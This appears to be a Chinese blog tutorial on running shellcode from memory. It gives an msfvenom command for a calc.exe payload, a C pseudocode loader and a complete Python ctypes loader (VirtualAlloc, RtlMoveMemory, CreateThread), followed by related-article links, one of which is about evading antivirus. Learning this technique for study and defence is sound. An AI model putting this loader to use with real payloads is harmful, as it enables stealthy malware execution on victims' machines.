生成

首先生成一个测试的msf shellcode

msfvenom -p windows/x64/exec CMD=calc.exe -f python

把其中的shellcode复制出来留待待会使用

原理

大部分脚本语言加载 shellcode 其实都是通过 cffi 去调用操作系统的api,其实并没有太多的技巧在里面,明白了原理,只需要查一下对应的脚本语言怎么调用 c 即可。

那么我们只需要明白 c 通常是怎么加载 shellcode 的即可一通百通。

那么 c 是怎么加载 shellcode 呢,我们直接从汇编开始探究。

shellcode 这个东西我们明白是一串可执行的二进制(一般可执行文件的拥有可执行权限的section为.text),那么我们先通过其他的手段开辟一片拥有可读可写可执行权限的区域放入我们的 shellcode,然后跳转到 shellcode 首地址去执行就行了,汇编里面改变eip(即当前指令的下一条即将运行指令的虚拟地址)的方法有不少,最简单的就是直接 jmp 过去了。也就是写成伪码大概意思就是(动态申请内存就不写了)

lea eax, shellcode;
jmp eax;

那么我们用 c 怎么表示呢?我这里也写一段伪码(因为本文的重点并不是在于 c 代码的编写)

那么按照刚才的思路,先申请一块可执行的内存,放入 shellcode 然后跳转过去执行即可。

// shellcode
unsigned char shellcode[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"
"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"
"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"
...;
// 定义一个函数类型
typedef void (__stdcall *CODE) ();
// 申请内存
PVOID p = NULL;
p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 把shellcode放入内存
memcpy(p, shellcode, sizeof(shellcode)); CODE code =(CODE)p; code();

我并没有写出一个可用的 c 加载 shellcode,只是旨在点出一下流程,然后引出后面的 python 加载 shellcode,上面我们先申请了一块带有可读可写可执行权限的内存,然后把 shellcode 放进去,然后我们强转为一个函数类型指针,最后调用这个函数,达到了我们的目的。

Python实现

前面我说过,大部分脚本语言加载 shellcode 都是调用的c的ffi,那么我们直接按照之前的思路来就行了。下面我直接贴代码

import ctypes

shellcode =  b""
shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
shellcode += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
shellcode += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
shellcode += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
shellcode += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
shellcode += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
shellcode += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
shellcode += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
shellcode += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
shellcode += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
shellcode += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
shellcode += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
shellcode += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
shellcode += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
shellcode += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
shellcode += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
shellcode += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
shellcode += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
shellcode += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
shellcode += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
shellcode += b"\x78\x65\x00" shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

注意其中的的每个 c_uint64,这个类型在64位上是必要的,我们需要手动指定 argtypesrestype ,否则默认的是 32 位整型。

我的代码里面加了注释,我们可以看到,基本思路也是一样的,先分配一块可读可写可执行代码的内存,在代码中,我使用的是 0x40(PAGE_EXECUTE_READWRITE)和 0x3000 ( 0x1000 | 0x2000)(MEM_COMMIT | MEM_RESERVE),然后把 shellcode 塞进去,跳过去运行。

相信通过这一片文章的讲解你能够对 shellcode 的本质有更多的了解。

Python内存加载shellcode的更多相关文章

  1. 动态加载 ShellCode绕过杀软

    反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏.如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stage ...

  2. python 模块加载

    python 模块加载 本文主要介绍python模块加载的过程. module的组成 所有的module都是由对象和对象之间的关系组成. type和object python中所有的东西都是对象,分为 ...

  3. 内存加载DLL

    1.前言 目前很多敏感和重要的DLL(Dynamic-link library) 都没有提供静态版本供编译器进行静态连接(.lib文件),即使提供了静态版本也因为兼容性问题导致无法使用,而只提供DLL ...

  4. DLL内存加载

    动态加载dll 功能:      把一个处于内存里的dll直接加载并且使用. 用途:      免杀(静态文件查杀),外挂(防止游戏自己hook了loadlibrary等函数),以及其他. 原理:  ...

  5. Python -- 数据加载、存储与文件格式

    标签(空格分隔): Python 读入读出通常可以划分为几个大类:读取文本文件和其他更高效的磁盘存储格式,加载数据库中的数据,利用Web API操作网络资源. 读写文本格式的数据 pandas提供了一 ...

  6. BASE64编码和解码(VC源代码) 并 内存加载 CImage 图像

      BASE64可以用来将binary的字节序列数据编码成ASCII字符序列构成的文本.完整的BASE64定义可见 RFC1421和 RFC2045.编码后的数据比原始数据略长,为原来的4/3.在电子 ...

  7. python 动态加载module、class、function

    python作为一种动态解释型语言,在实现各种框架方面具有很大的灵活性. 最近在研究python web框架,发现各种框架中需要显示的定义各种路由和Handler的映射,如果想要实现并维护复杂的web ...

  8. 很考验人的java内存加载面试题

    源代码如下,求结果 public class MemoryAnalyse { public static int k = 0; public static MemoryAnalyse t1 = new ...

  9. python︱模块加载(pip安装)以及pycharm安装与报错解决方式

    每每以为攀得众山小,可.每每又切实来到起点,大牛们,缓缓脚步来俺笔记葩分享一下吧,please~ --------------------------- 准备放下R开始学python,真是痛苦,因为找 ...

随机推荐

  1. 字节码(.class)文件的加载过程

    类加载 在Java代码中,类型的加载.连接与初始化过程都是在程序运行期间完成的. 类型可以是Class,Interface, 枚举等. Java虚拟机与程序的生命周期 在如下几种情况下,Java虚拟机 ...

  2. Excel 如何自动调整列宽?

      excel如何自动调整列宽 1.打开Excel表格,选中要调整的表格. 2.点击"格式",选择"自动调整列宽",右键点击"设置单元格格式" ...

  3. TCP为什么会出现 RST

    就目前遇到的情况而言,都是负载设备,或健康检查设备发送的. 为什么会出现 RST 因为具有周期性,我大概猜到了,是 lvs 对我的后端服务的健康检查导致的,联系了网络运营服务客服人员,我把.pcap给 ...

  4. 【转】45个实用的JavaScript技巧、窍门和最佳实践

    原文:https://colobu.com/2014/09/23/45-Useful-JavaScript-Tips,-Tricks-and-Best-Practices/ 目录 [−] 列表 第一次 ...

  5. java(集合框架)(转)

    前言 集合①只能存放对象,存放基本类型会自动转成对应的对象②可以存放不同类型的对象(如果不使用泛型的话),且不限数量③集合中存放的只是对象的引用 集合详解 集合-1.png 集合-2.png   It ...

  6. #软件更新#Visual Studio更新到16.3.8

    #软件更新#Visual Studio更新到16.3.8 此次更新包括以下内容:(1)支持Xcode 11.2.(2)修复无法从System.String类型转化的bug.(3)修复UWP开发中,加载 ...

  7. ubuntu系统TCP连接参数优化-TIME_WAIT过多解决办法

    状态:描述CLOSED:无连接是活动的或正在进行LISTEN:服务器在等待进入呼叫SYN_RECV:一个连接请求已经到达,等待确认SYN_SENT:应用已经开始,打开一个连接ESTABLISHED:正 ...

  8. netty5心跳与阻塞性业务消息分发实例

    继续之前的例子(netty5心跳与业务消息分发实例),我们在NettyClientHandler把业务消息改为阻塞性的: package com.wlf.netty.nettyclient.handl ...

  9. 泡泡一分钟:Robust and Fast 3D Scan Alignment Using Mutual Information

    Robust and Fast 3D Scan Alignment Using Mutual Information 使用互信息进行稳健快速的三维扫描对准 https://arxiv.org/pdf/ ...

  10. windows10 环境下的RabbitMQ安装步骤(图文)

    第一步:下载并安装erlang 原因:RabbitMQ服务端代码是使用并发式语言Erlang编写的,安装Rabbit MQ的前提是安装Erlang. 下载地址:http://www.erlang.or ...